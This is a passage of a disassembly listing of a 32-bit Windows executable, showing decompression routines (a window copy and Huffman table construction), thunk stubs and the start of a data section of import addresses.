		sub	ebx, eax
		mov	dword ptr [esi], 5

loc_4065C1:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:0040681Co
		mov	eax, [ebp+var_30]
		mov	edx, [esi+0Ch]
		mov	ecx, eax
		sub	ecx, esi
		sub	ecx, 1BA0h
		cmp	ecx, edx
		jnb	short loc_4065E8
		mov	ecx, [esi+9BA0h]
		sub	ecx, edx
		sub	ecx, esi
		lea	ecx, [ecx+eax-1BA0h]
		jmp	short loc_4065EC
; ---------------------------------------------------------------------------

loc_4065E8:				; CODE XREF: sub_405DB9+81Aj
		mov	ecx, eax
		sub	ecx, edx

loc_4065EC:				; CODE XREF: sub_405DB9+82Dj
		cmp	dword ptr [esi+4], 0
		mov	[ebp+var_20], ecx
		jz	loc_405F89
		mov	edi, [ebp+var_2C]

loc_4065FC:				; CODE XREF: sub_405DB9+903j
		test	edi, edi
		jnz	loc_406695
		mov	edi, [esi+9BA0h]
		cmp	eax, edi
		jnz	short loc_406631
		mov	ecx, [esi+9BA4h]
		lea	edx, [esi+1BA0h]
		cmp	ecx, edx
		jz	short loc_406631
		mov	eax, edx
		cmp	eax, ecx
		jnb	short loc_40662B
		sub	ecx, eax
		dec	ecx
		mov	edi, ecx
		jmp	short loc_40662D
; ---------------------------------------------------------------------------

loc_40662B:				; CODE XREF: sub_405DB9+869j
		sub	edi, eax

loc_40662D:				; CODE XREF: sub_405DB9+870j
		test	edi, edi
		jnz	short loc_406695

loc_406631:				; CODE XREF: sub_405DB9+853j
					; sub_405DB9+863j
		push	[ebp+arg_0]
		mov	[esi+9BA8h], eax
		call	sub_406848
		mov	eax, [esi+9BA8h]
		mov	ecx, [esi+9BA4h]
		cmp	eax, ecx
		mov	[ebp+var_30], eax
		jnb	short loc_406659
		mov	edi, ecx
		sub	edi, eax
		dec	edi
		jmp	short loc_406661
; ---------------------------------------------------------------------------

loc_406659:				; CODE XREF: sub_405DB9+897j
		mov	edi, [esi+9BA0h]
		sub	edi, eax

loc_406661:				; CODE XREF: sub_405DB9+89Ej
		mov	edx, [esi+9BA0h]
		cmp	eax, edx
		mov	[ebp+var_8], edx
		jnz	short loc_40668D
		lea	edx, [esi+1BA0h]
		cmp	ecx, edx
		jz	short loc_40668D
		mov	eax, edx
		cmp	eax, ecx
		mov	[ebp+var_30], eax
		jnb	short loc_406688
		sub	ecx, eax
		dec	ecx
		mov	edi, ecx
		jmp	short loc_40668D
; ---------------------------------------------------------------------------

loc_406688:				; CODE XREF: sub_405DB9+8C6j
		mov	edi, [ebp+var_8]
		sub	edi, eax

loc_40668D:				; CODE XREF: sub_405DB9+8B3j
					; sub_405DB9+8BDj ...
		test	edi, edi
		jz	loc_4067F9

loc_406695:				; CODE XREF: sub_405DB9+845j
					; sub_405DB9+876j
		mov	ecx, [ebp+var_20]
		mov	dl, [ecx]
		mov	[eax], dl
		inc	eax
		inc	ecx
		dec	edi
		cmp	ecx, [esi+9BA0h]
		mov	[ebp+var_30], eax
		mov	[ebp+var_20], ecx
		mov	[ebp+var_2C], edi
		jnz	short loc_4066B9
		lea	ecx, [esi+1BA0h]
		mov	[ebp+var_20], ecx

loc_4066B9:				; CODE XREF: sub_405DB9+8F5j
		dec	dword ptr [esi+4]
		jnz	loc_4065FC
		jmp	loc_405F89
; ---------------------------------------------------------------------------

loc_4066C7:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:00406820o
		mov	eax, [ebp+var_2C]
		mov	edi, [ebp+var_30]
		test	eax, eax
		jnz	loc_406766
		mov	ecx, [esi+9BA0h]
		cmp	edi, ecx
		jnz	short loc_406702
		mov	eax, [esi+9BA4h]
		lea	edx, [esi+1BA0h]
		cmp	eax, edx
		jz	short loc_406702
		mov	edi, edx
		cmp	edi, eax
		jnb	short loc_4066FA
		sub	eax, edi
		dec	eax
		jmp	short loc_4066FE
; ---------------------------------------------------------------------------

loc_4066FA:				; CODE XREF: sub_405DB9+93Aj
		sub	ecx, edi
		mov	eax, ecx

loc_4066FE:				; CODE XREF: sub_405DB9+93Fj
		test	eax, eax
		jnz	short loc_406766

loc_406702:				; CODE XREF: sub_405DB9+924j
					; sub_405DB9+934j
		push	[ebp+arg_0]
		mov	[esi+9BA8h], edi
		call	sub_406848
		mov	edi, [esi+9BA8h]
		mov	ecx, [esi+9BA4h]
		cmp	edi, ecx
		mov	[ebp+var_30], edi
		jnb	short loc_40672A
		mov	eax, ecx
		sub	eax, edi
		dec	eax
		jmp	short loc_406732
; ---------------------------------------------------------------------------

loc_40672A:				; CODE XREF: sub_405DB9+968j
		mov	eax, [esi+9BA0h]
		sub	eax, edi

loc_406732:				; CODE XREF: sub_405DB9+96Fj
		mov	edx, [esi+9BA0h]
		cmp	edi, edx
		mov	[ebp+var_8], edx
		jnz	short loc_40675E
		lea	edx, [esi+1BA0h]
		cmp	ecx, edx
		jz	short loc_40675E
		mov	edi, edx
		cmp	edi, ecx
		mov	[ebp+var_30], edi
		jnb	short loc_406759
		sub	ecx, edi
		dec	ecx
		mov	eax, ecx
		jmp	short loc_40675E
; ---------------------------------------------------------------------------

loc_406759:				; CODE XREF: sub_405DB9+997j
		mov	eax, [ebp+var_8]
		sub	eax, edi

loc_40675E:				; CODE XREF: sub_405DB9+984j
					; sub_405DB9+98Ej ...
		test	eax, eax
		jz	loc_4067F9

loc_406766:				; CODE XREF: sub_405DB9+916j
					; sub_405DB9+947j
		mov	cl, [esi+8]
		mov	[edi], cl
		inc	edi
		dec	eax
		mov	[ebp+var_30], edi
		mov	[ebp+var_2C], eax
		jmp	loc_405F89
; ---------------------------------------------------------------------------

loc_406778:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; DATA XREF: .text:00406824o
		cmp	ebx, 7
		jbe	short loc_406786
		sub	ebx, 8
		inc	[ebp+var_34]
		dec	[ebp+var_38]

loc_406786:				; CODE XREF: sub_405DB9:loc_405E0Aj
					; sub_405DB9+9C2j
					; DATA XREF: ...
		mov	eax, [ebp+var_30]
		push	[ebp+arg_0]
		mov	[esi+9BA8h], eax
		call	sub_406848
		mov	ecx, [esi+9BA8h]
		mov	edx, [esi+9BA4h]
		cmp	ecx, edx
		mov	[ebp+var_30], ecx
		jnb	short loc_4067B1
		mov	eax, edx
		sub	eax, ecx
		dec	eax
		jmp	short loc_4067B9
; ---------------------------------------------------------------------------

loc_4067B1:				; CODE XREF: sub_405DB9+9EFj
		mov	eax, [esi+9BA0h]
		sub	eax, ecx

loc_4067B9:				; CODE XREF: sub_405DB9+9F6j
		cmp	ecx, edx
		mov	[ebp+var_2C], eax
		jnz	short loc_4067F9
		mov	eax, [esi+514h]
		cmp	eax, 8
		mov	[esi], eax
		jnz	short loc_406800

loc_4067CD:				; CODE XREF: sub_405DB9+4Cj
					; sub_405DB9+B1j ...
		mov	eax, [esi]
		cmp	eax, 0Fh
		jbe	loc_405E0A
		jmp	loc_405E70
; ---------------------------------------------------------------------------

loc_4067DD:				; CODE XREF: sub_405DB9+5Cj
					; sub_405DB9+1F1j ...
		mov	eax, [ebp+var_40]
		xor	edi, edi
		mov	[esi+51Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+518h], ebx
		mov	[eax+4], edi
		jmp	loc_405E91
; ---------------------------------------------------------------------------

loc_4067F9:				; CODE XREF: sub_405DB9+2D9j
					; sub_405DB9+8D6j ...
		xor	edi, edi
		jmp	loc_405E79
; ---------------------------------------------------------------------------

loc_406800:				; CODE XREF: sub_405DB9+A12j
		xor	edi, edi
		inc	edi
		jmp	loc_405E79
sub_405DB9	endp

; ---------------------------------------------------------------------------
off_406808	dd offset loc_406405	; DATA XREF: sub_405DB9:loc_405E0Ar
		dd offset loc_406418
		dd offset loc_4064AE
		dd offset loc_4064FF
		dd offset loc_40657D
		dd offset loc_4065C1
		dd offset loc_4066C7
		dd offset loc_406778
		dd offset loc_405E31
		dd offset loc_405FC6
		dd offset loc_405FEB
		dd offset loc_4060F9
		dd offset loc_406138
		dd offset loc_40631B
		dd offset loc_405E70
		dd offset loc_406786

; =============== S U B	R O U T	I N E =======================================



sub_406848	proc near		; CODE XREF: sub_405DB9+EAp
					; sub_405DB9+286p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esi+9BB4h]

loc_406855:				; CODE XREF: sub_406848+52j
					; sub_406848+5Aj
		mov	ebx, [esi+9BB8h]
		cmp	edi, ebx
		jbe	short loc_406865
		mov	ebx, [esi+9BB0h]

loc_406865:				; CODE XREF: sub_406848+15j
		mov	eax, [esi+0Ch]
		sub	ebx, edi
		cmp	ebx, eax
		jb	short loc_406870
		mov	ebx, eax

loc_406870:				; CODE XREF: sub_406848+24j
		push	ebx
		push	edi
		push	dword ptr [esi+8]
		sub	eax, ebx
		mov	[esi+0Ch], eax
		call	sub_40568C
		add	[esi+8], ebx
		mov	eax, [esi+9BB0h]
		add	edi, ebx
		cmp	edi, eax
		jnz	short loc_4068A4
		cmp	[esi+9BB8h], eax
		lea	edi, [esi+1BB0h]
		jnz	short loc_406855
		mov	[esi+9BB8h], edi
		jmp	short loc_406855
; ---------------------------------------------------------------------------

loc_4068A4:				; CODE XREF: sub_406848+44j
		mov	[esi+9BB4h], edi
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_406848	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4068B0	proc near		; CODE XREF: sub_405DB9+172p
					; sub_405DB9+1A5p ...

var_EC		= dword	ptr -0ECh
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 0ECh
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	10h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_70]
		rep stosd
		mov	ecx, [ebp+arg_0]
		mov	edx, esi

loc_4068CE:				; CODE XREF: sub_4068B0+2Aj
		mov	eax, [ecx]
		add	ecx, 4
		lea	eax, [ebp+eax*4+var_70]
		inc	dword ptr [eax]
		dec	edx
		jnz	short loc_4068CE
		cmp	[ebp+var_70], esi
		jnz	short loc_4068F4
		mov	eax, [ebp+arg_14]
		and	dword ptr [eax], 0
		mov	eax, [ebp+arg_18]
		and	dword ptr [eax], 0
		xor	eax, eax
		jmp	loc_406BE4
; ---------------------------------------------------------------------------

loc_4068F4:				; CODE XREF: sub_4068B0+2Fj
		mov	esi, [ebp+arg_18]
		xor	ebx, ebx
		inc	ebx
		push	0Fh
		mov	edi, [esi]
		mov	ecx, ebx
		mov	[ebp+arg_18], edi
		pop	edx

loc_406904:				; CODE XREF: sub_4068B0+5Fj
		xor	eax, eax
		cmp	[ebp+ecx*4+var_70], eax
		jnz	short loc_406911
		inc	ecx
		cmp	ecx, edx
		jbe	short loc_406904

loc_406911:				; CODE XREF: sub_4068B0+5Aj
		cmp	edi, ecx
		mov	[ebp+var_4], ecx
		jnb	short loc_40691B
		mov	[ebp+arg_18], ecx

loc_40691B:				; CODE XREF: sub_4068B0+66j
					; sub_4068B0+72j
		cmp	[ebp+edx*4+var_70], eax
		jnz	short loc_406924
		dec	edx
		jnz	short loc_40691B

loc_406924:				; CODE XREF: sub_4068B0+6Fj
		cmp	[ebp+arg_18], edx
		mov	[ebp+var_18], edx
		jbe	short loc_40692F
		mov	[ebp+arg_18], edx

loc_40692F:				; CODE XREF: sub_4068B0+7Aj
		mov	edi, [ebp+arg_18]
		mov	[esi], edi
		shl	ebx, cl
		jmp	short loc_406945
; ---------------------------------------------------------------------------

loc_406938:				; CODE XREF: sub_4068B0+97j
		sub	ebx, [ebp+ecx*4+var_70]
		js	loc_406BE1
		inc	ecx
		add	ebx, ebx

loc_406945:				; CODE XREF: sub_4068B0+86j
		cmp	ecx, edx
		jb	short loc_406938
		mov	esi, edx
		shl	esi, 2
		lea	ecx, [ebp+esi+var_70]
		mov	edi, [ecx]
		sub	ebx, edi
		mov	[ebp+var_30], ebx
		js	loc_406BE1
		add	edi, ebx
		mov	[ebp+var_AC], eax
		mov	[ecx], edi
		xor	ecx, ecx
		dec	edx
		jz	short loc_406981
		xor	edi, edi

loc_406970:				; CODE XREF: sub_4068B0+CFj
		add	ecx, [ebp+edi+var_6C]
		add	edi, 4
		dec	edx
		mov	[ebp+edi+var_AC], ecx
		jnz	short loc_406970

loc_406981:				; CODE XREF: sub_4068B0+BCj
		mov	ebx, [ebp+arg_0]
		xor	edi, edi

loc_406986:				; CODE XREF: sub_4068B0+F6j
		mov	ecx, [ebx]
		add	ebx, 4
		cmp	ecx, eax
		jz	short loc_4069A2
		lea	ecx, [ebp+ecx*4+var_B0]
		mov	edx, [ecx]
		mov	dword_42D6B8[edx*4], edi
		inc	edx
		mov	[ecx], edx

loc_4069A2:				; CODE XREF: sub_4068B0+DDj
		inc	edi
		cmp	edi, [ebp+arg_4]
		jb	short loc_406986
		mov	ecx, [ebp+esi+var_B0]
		mov	ebx, [ebp+arg_18]
		or	[ebp+var_C], 0FFFFFFFFh
		and	[ebp+var_24], 0
		mov	[ebp+arg_4], ecx
		mov	ecx, [ebp+var_4]
		neg	ebx
		cmp	ecx, [ebp+var_18]
		mov	[ebp+var_8], eax
		mov	[ebp+var_B0], eax
		mov	[ebp+var_20], offset dword_42D6B8
		mov	[ebp+var_EC], eax
		jg	loc_406BD4
		lea	edx, [ecx-1]
		lea	ecx, [ebp+ecx*4+var_70]
		mov	[ebp+var_28], edx
		mov	[ebp+var_1C], ecx

loc_4069EE:				; CODE XREF: sub_4068B0+31Ej
		mov	ecx, [ebp+var_1C]
		mov	esi, [ecx]
		test	esi, esi
		jz	loc_406BBE
		jmp	short loc_406A00
; ---------------------------------------------------------------------------

loc_4069FD:				; CODE XREF: sub_4068B0+308j
		mov	esi, [ebp+var_2C]

loc_406A00:				; CODE XREF: sub_4068B0+14Bj
		mov	ecx, [ebp+arg_18]
		dec	esi
		add	ecx, ebx
		mov	[ebp+var_2C], esi
		cmp	[ebp+var_4], ecx
		mov	[ebp+var_14], ecx
		jle	loc_406AE1
		inc	esi
		mov	[ebp+var_10], esi

loc_406A19:				; CODE XREF: sub_4068B0+22Bj
		mov	esi, [ebp+var_18]
		inc	[ebp+var_C]
		sub	esi, [ebp+var_14]
		cmp	esi, [ebp+arg_18]
		jbe	short loc_406A2A
		mov	esi, [ebp+arg_18]

loc_406A2A:				; CODE XREF: sub_4068B0+175j
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		sub	ecx, [ebp+var_14]
		inc	edx
		shl	edx, cl
		cmp	edx, [ebp+var_10]
		jbe	short loc_406A5D
		mov	edi, [ebp+var_1C]
		or	eax, 0FFFFFFFFh
		sub	eax, [ebp+var_2C]
		add	edx, eax
		cmp	ecx, esi
		jnb	short loc_406A5D
		jmp	short loc_406A58
; ---------------------------------------------------------------------------

loc_406A4B:				; CODE XREF: sub_4068B0+1ABj
		add	edi, 4
		add	edx, edx
		mov	eax, [edi]
		cmp	edx, eax
		jbe	short loc_406A5D
		sub	edx, eax

loc_406A58:				; CODE XREF: sub_4068B0+199j
		inc	ecx
		cmp	ecx, esi
		jb	short loc_406A4B

loc_406A5D:				; CODE XREF: sub_4068B0+188j
					; sub_4068B0+197j ...
		mov	edx, [ebp+arg_20]
		xor	eax, eax
		inc	eax
		mov	edx, [edx]
		shl	eax, cl
		mov	[ebp+var_24], eax
		lea	edi, [edx+eax]
		cmp	edi, 5A0h
		ja	loc_406BE1
		mov	eax, [ebp+arg_1C]
		lea	eax, [eax+edx*4]
		mov	edx, [ebp+var_C]
		lea	esi, [ebp+edx*4+var_EC]
		mov	edx, [ebp+arg_20]
		mov	[edx], edi
		mov	edx, [ebp+var_C]
		test	edx, edx
		mov	[esi], eax
		jz	short loc_406AC8
		mov	edi, [ebp+var_8]
		mov	esi, [esi-4]
		mov	[ebp+edx*4+var_B0], edi
		mov	dl, byte ptr [ebp+arg_18]
		mov	byte ptr [ebp+arg_0+1],	dl
		mov	byte ptr [ebp+arg_0], cl
		mov	edx, edi
		mov	ecx, ebx
		shr	edx, cl
		mov	ecx, eax
		sub	ecx, esi
		sar	ecx, 2
		sub	ecx, edx
		mov	word ptr [ebp+arg_0+2],	cx
		mov	ecx, [ebp+arg_0]
		mov	[esi+edx*4], ecx
		jmp	short loc_406ACD
; ---------------------------------------------------------------------------

loc_406AC8:				; CODE XREF: sub_4068B0+1E5j
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax

loc_406ACD:				; CODE XREF: sub_4068B0+216j
		mov	ecx, [ebp+var_14]
		mov	ebx, ecx
		add	ecx, [ebp+arg_18]
		cmp	[ebp+var_4], ecx
		mov	[ebp+var_14], ecx
		jg	loc_406A19

loc_406AE1:				; CODE XREF: sub_4068B0+15Fj
		mov	cl, byte ptr [ebp+var_4]
		mov	esi, [ebp+var_20]
		sub	cl, bl
		mov	byte ptr [ebp+arg_0+1],	cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, ds:42D6B8h[ecx*4]
		cmp	esi, ecx
		jb	short loc_406B00
		mov	byte ptr [ebp+arg_0], 0C0h
		jmp	short loc_406B43
; ---------------------------------------------------------------------------

loc_406B00:				; CODE XREF: sub_4068B0+248j
		mov	ecx, [esi]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_406B23
		cmp	ecx, 100h
		setb	cl
		dec	cl
		and	ecx, 60h
		mov	byte ptr [ebp+arg_0], cl
		mov	cx, [esi]
		add	esi, 4
		mov	[ebp+var_20], esi
		jmp	short loc_406B3F
; ---------------------------------------------------------------------------

loc_406B23:				; CODE XREF: sub_4068B0+255j
		sub	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_10]
		add	ecx, ecx
		mov	dl, [ecx+edx]
		add	dl, 50h
		add	[ebp+var_20], 4
		mov	byte ptr [ebp+arg_0], dl
		mov	edx, [ebp+arg_C]
		mov	cx, [ecx+edx]

loc_406B3F:				; CODE XREF: sub_4068B0+271j
		mov	word ptr [ebp+arg_0+2],	cx

loc_406B43:				; CODE XREF: sub_4068B0+24Ej
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_8]
		xor	edi, edi
		sub	ecx, ebx
		inc	edi
		mov	esi, edi
		shl	esi, cl
		mov	ecx, ebx
		shr	edx, cl
		jmp	short loc_406B60
; ---------------------------------------------------------------------------

loc_406B58:				; CODE XREF: sub_4068B0+2B3j
		mov	ecx, [ebp+arg_0]
		mov	[eax+edx*4], ecx
		add	edx, esi

loc_406B60:				; CODE XREF: sub_4068B0+2A6j
		cmp	edx, [ebp+var_24]
		jb	short loc_406B58
		mov	ecx, [ebp+var_28]
		mov	esi, [ebp+var_8]
		mov	edx, edi
		shl	edx, cl
		jmp	short loc_406B75
; ---------------------------------------------------------------------------

loc_406B71:				; CODE XREF: sub_4068B0+2C7j
		xor	esi, edx
		shr	edx, 1

loc_406B75:				; CODE XREF: sub_4068B0+2BFj
		test	edx, esi
		jnz	short loc_406B71
		mov	ecx, edi
		xor	esi, edx
		mov	[ebp+var_10], ecx
		mov	ecx, ebx
		mov	edx, edi
		mov	[ebp+var_8], esi
		shl	edx, cl
		dec	edx
		and	edx, esi
		mov	ecx, edx
		mov	edx, [ebp+var_C]
		cmp	ecx, [ebp+edx*4+var_B0]
		jz	short loc_406BB4

loc_406B9A:				; CODE XREF: sub_4068B0+2FFj
		sub	ebx, [ebp+arg_18]
		mov	esi, edi
		dec	edx
		mov	ecx, ebx
		shl	esi, cl
		dec	esi
		and	esi, [ebp+var_8]
		cmp	esi, [ebp+edx*4+var_B0]
		jnz	short loc_406B9A
		mov	[ebp+var_C], edx

loc_406BB4:				; CODE XREF: sub_4068B0+2E8j
		cmp	[ebp+var_2C], 0
		jnz	loc_4069FD

loc_406BBE:				; CODE XREF: sub_4068B0+145j
		inc	[ebp+var_4]
		add	[ebp+var_1C], 4
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_28]
		cmp	ecx, [ebp+var_18]
		jle	loc_4069EE

loc_406BD4:				; CODE XREF: sub_4068B0+12Bj
		xor	eax, eax
		cmp	[ebp+var_30], eax
		jz	short loc_406BE4
		cmp	[ebp+var_18], 1
		jz	short loc_406BE4

loc_406BE1:				; CODE XREF: sub_4068B0+8Cj
					; sub_4068B0+A9j ...
		or	eax, 0FFFFFFFFh

loc_406BE4:				; CODE XREF: sub_4068B0+3Fj
					; sub_4068B0+329j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
sub_4068B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406BEC	proc near		; CODE XREF: sub_401FB0p
		jmp	ds:dword_407268
sub_406BEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406BF2	proc near		; CODE XREF: sub_401F90+7p
		jmp	ds:dword_407264
sub_406BF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406BF8	proc near		; CODE XREF: sub_401439+B27p
		jmp	ds:dword_407260
sub_406BF8	endp

_text		ends

; Section 2. (virtual address 00007000)
; Virtual size			: 000011FE (   4606.)
; Section size in file		: 000011FE (   4606.)
; Offset to raw	data for section: 00007000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 407000h
dword_407000	dd 77DD23D7h		; DATA XREF: sub_4021F6+264r
					; sub_4058CF+3Dr
dword_407004	dd 77DD59F0h		; DATA XREF: sub_4021F6+21Fr
dword_407008	dd 77DD81E3h		; DATA XREF: sub_4021F6+2DDr
					; sub_402ADA+25r
dword_40700C	dd 77DD7F3Eh		; DATA XREF: sub_4021F6+2F0r
dword_407010	dd 77DD22EAh		; DATA XREF: sub_402ADA+1Br
					; sub_402B76+22r ...
dword_407014	dd 77DD839Fh		; DATA XREF: sub_402ADA+6Cr
dword_407018	dd 77DD5C55h		; DATA XREF: sub_4021F6+153r
dword_40701C	dd 77DD189Ah		; DATA XREF: sub_4021F6+15Cr
					; sub_4021F6:loc_4024FBr ...
dword_407020	dd 77DD590Bh		; DATA XREF: sub_4021F6+1C6r
		align 8
dword_407028	dd 77346144h		; DATA XREF: sub_404740+41r
dword_40702C	dd 77345719h		; DATA XREF: sub_404740+3AEr
dword_407030	dd 77345219h		; DATA XREF: start+1Ar
dword_407034	dd 77345CA4h		; DATA XREF: sub_404740+2Dr
		dd 0
dword_40703C	dd 77C71E2Eh		; DATA XREF: sub_403E2A+74r
dword_407040	dd 77C7531Dh		; DATA XREF: sub_401439+963r
dword_407044	dd 77C72889h		; DATA XREF: sub_401000:loc_401068r
					; sub_401439+94Ar ...
dword_407048	dd 77C7E6D9h		; DATA XREF: sub_401000+CFr
					; sub_403E2A+98r
dword_40704C	dd 77C7D47Ch		; DATA XREF: sub_401000+105r
					; sub_401439+9C4r
dword_407050	dd 77C71EFFh		; DATA XREF: sub_401000+126r
					; sub_403E2A+51r
dword_407054	dd 77C71D83h		; DATA XREF: sub_401000+130r
					; sub_403E2A+45r
dword_407058	dd 77C71BB0h		; DATA XREF: sub_401000+139r
		align 10h
dword_407060	dd 77E77963h		; DATA XREF: sub_401439+4DAr
					; sub_401EE4:loc_401F10r ...
dword_407064	dd 77E7011Ah		; DATA XREF: sub_401439+4D1r
dword_407068	dd 77E71702h		; DATA XREF: sub_401439+3CDr
dword_40706C	dd 77E6CBF9h		; DATA XREF: sub_401439+33Er
dword_407070	dd 77E6C10Bh		; DATA XREF: sub_401439+31Fr
					; sub_405723:loc_40574Fr
dword_407074	dd 77E80357h		; DATA XREF: sub_401439+2D9r
dword_407078	dd 77E71AFEh		; DATA XREF: sub_401439+28Ar
dword_40707C	dd 77E705C5h		; DATA XREF: sub_401439+20Fr
dword_407080	dd 77E74CABh		; DATA XREF: sub_401439+1E0r
					; sub_401439+3F0r ...
dword_407084	dd 77F5157Dh		; DATA XREF: sub_401439+1D2r
dword_407088	dd 77E6808Fh		; DATA XREF: sub_401439+1C8r
					; sub_403132+21r ...
dword_40708C	dd 77E70396h		; DATA XREF: sub_401439+189r
					; sub_401439+3FAr ...
dword_407090	dd 77E61BE6h		; DATA XREF: sub_401439+EEr
dword_407094	dd 77E793EFh		; DATA XREF: sub_402C37+69r
					; sub_405723+E1r
dword_407098	dd 77E7A099h		; DATA XREF: sub_402C37+33r start+24Fr
dword_40709C	dd 77E7751Ah		; DATA XREF: sub_402C37+Er
					; sub_402C37:loc_402D7Fr ...
dword_4070A0	dd 77E79C90h		; DATA XREF: start+352r
dword_4070A4	dd 77E76A2Eh		; DATA XREF: sub_401439+607r
					; start+261r ...
dword_4070A8	dd 77E75CB5h		; DATA XREF: start+1ECr start+3B1r
dword_4070AC	dd 77E7C938h		; DATA XREF: start+9Cr
dword_4070B0	dd 77E705B0h		; DATA XREF: start+72r	sub_405723+AAr	...
dword_4070B4	dd 77E6AD34h		; DATA XREF: start+5Dr
dword_4070B8	dd 77E73BEFh		; DATA XREF: sub_403ED7+15r
					; sub_4059DB+Dr
dword_4070BC	dd 77E6869Bh		; DATA XREF: sub_404201+22Fr
dword_4070C0	dd 77E71B14h		; DATA XREF: sub_404EBC+35Er
dword_4070C4	dd 77E7166Fh		; DATA XREF: sub_404EBC+32Cr
dword_4070C8	dd 77E7AC37h		; DATA XREF: sub_404EBC+1C5r
dword_4070CC	dd 77E61BB8h		; DATA XREF: sub_405263+3Cr
dword_4070D0	dd 77E704DCh		; DATA XREF: sub_40531D+19Cr
dword_4070D4	dd 77E7A837h		; DATA XREF: sub_4056AC+26r
					; sub_405723+CDr
dword_4070D8	dd 77E6AF8Fh		; DATA XREF: sub_4056DB+2Dr
dword_4070DC	dd 77E74672h		; DATA XREF: sub_4059F1r
dword_4070E0	dd 77E74155h		; DATA XREF: sub_4059F7r
dword_4070E4	dd 77E704FCh		; DATA XREF: sub_4059FD+10Fr
dword_4070E8	dd 77E76432h		; DATA XREF: sub_401439:loc_401A52r
dword_4070EC	dd 77E7AC5Eh		; DATA XREF: sub_401439:loc_401A6Fr
dword_4070F0	dd 77E668D9h		; DATA XREF: sub_401439:loc_401A77r
dword_4070F4	dd 77E73803h		; DATA XREF: sub_401439:loc_401BE1r
					; sub_4026FA+CCr ...
dword_4070F8	dd 77E736A3h		; DATA XREF: sub_401439+7BAr
					; sub_401439+B45r ...
dword_4070FC	dd 77E79D5Bh		; DATA XREF: sub_401E9C+2Br
dword_407100	dd 77E7FF65h		; DATA XREF: sub_401EE4+7r
dword_407104	dd 77E78C17h		; DATA XREF: sub_401439+BAEr
					; sub_402050+4Br ...
dword_407108	dd 77E79F93h		; DATA XREF: sub_401439+BD8r start+ABr ...
dword_40710C	dd 77E805D8h		; DATA XREF: sub_401439+BE5r
					; sub_403542+21Cr ...
dword_407110	dd 77E7A5FDh		; DATA XREF: sub_402024+Ar
					; sub_405CEE+21r
dword_407114	dd 77E80618h		; DATA XREF: sub_402050+37r
dword_407118	dd 77E77CCEh		; DATA XREF: sub_4020F4+C1r
dword_40711C	dd 77E7070Eh		; DATA XREF: sub_4021F6+E9r
dword_407120	dd 77E72C64h		; DATA XREF: sub_4021F6+124r
dword_407124	dd 77E79D8Ch		; DATA XREF: sub_4021F6+383r
					; sub_4026FA+DEr ...
dword_407128	dd 77E78B82h		; DATA XREF: sub_4021F6+3DAr
					; sub_4030E9+17r ...
dword_40712C	dd 77E72CF4h		; DATA XREF: sub_40136D+78r
					; sub_401439+972r ...
dword_407130	dd 77E78C81h		; DATA XREF: sub_4021F6+43Er
					; sub_4021F6+46Er ...
dword_407134	dd 77E78EAAh		; DATA XREF: sub_4021F6+491r
					; sub_40531D+15Ar ...
dword_407138	dd 77E75E67h		; DATA XREF: sub_4021F6+4AEr
					; sub_40531D+149r
dword_40713C	dd 77E75D9Eh		; DATA XREF: sub_4021F6+4D5r
					; sub_40531D+92r ...
dword_407140	dd 77E73628h		; DATA XREF: sub_4026FA+114r start+96r ...
dword_407144	dd 77E6BD13h		; DATA XREF: start+277r
		dd 0
dword_40714C	dd 77423391h		; DATA XREF: sub_405238+8r
dword_407150	dd 77423EAEh		; DATA XREF: sub_4044FB+38r
					; sub_4059FD+156r
dword_407154	dd 774E3824h		; DATA XREF: sub_404201+134r
dword_407158	dd 77422FDCh		; DATA XREF: start+3Dr
dword_40715C	dd 77428B97h		; DATA XREF: sub_401E88r
					; sub_403F0B+20Fr
dword_407160	dd 7746135Fh		; DATA XREF: sub_4021F6+68r
dword_407164	dd 773F6FB6h		; DATA XREF: sub_4059FD+148r
		dd 0
dword_40716C	dd 77D481CDh		; DATA XREF: sub_4038DB+42Cr
					; sub_404643+3Dr
dword_407170	dd 77D45F74h		; DATA XREF: sub_4038DB+420r
					; sub_404EBC+2A6r
dword_407174	dd 77D5D417h		; DATA XREF: sub_4038DB+1CFr
dword_407178	dd 77D47C8Bh		; DATA XREF: sub_4038DB+B6r
					; sub_4038DB+103r
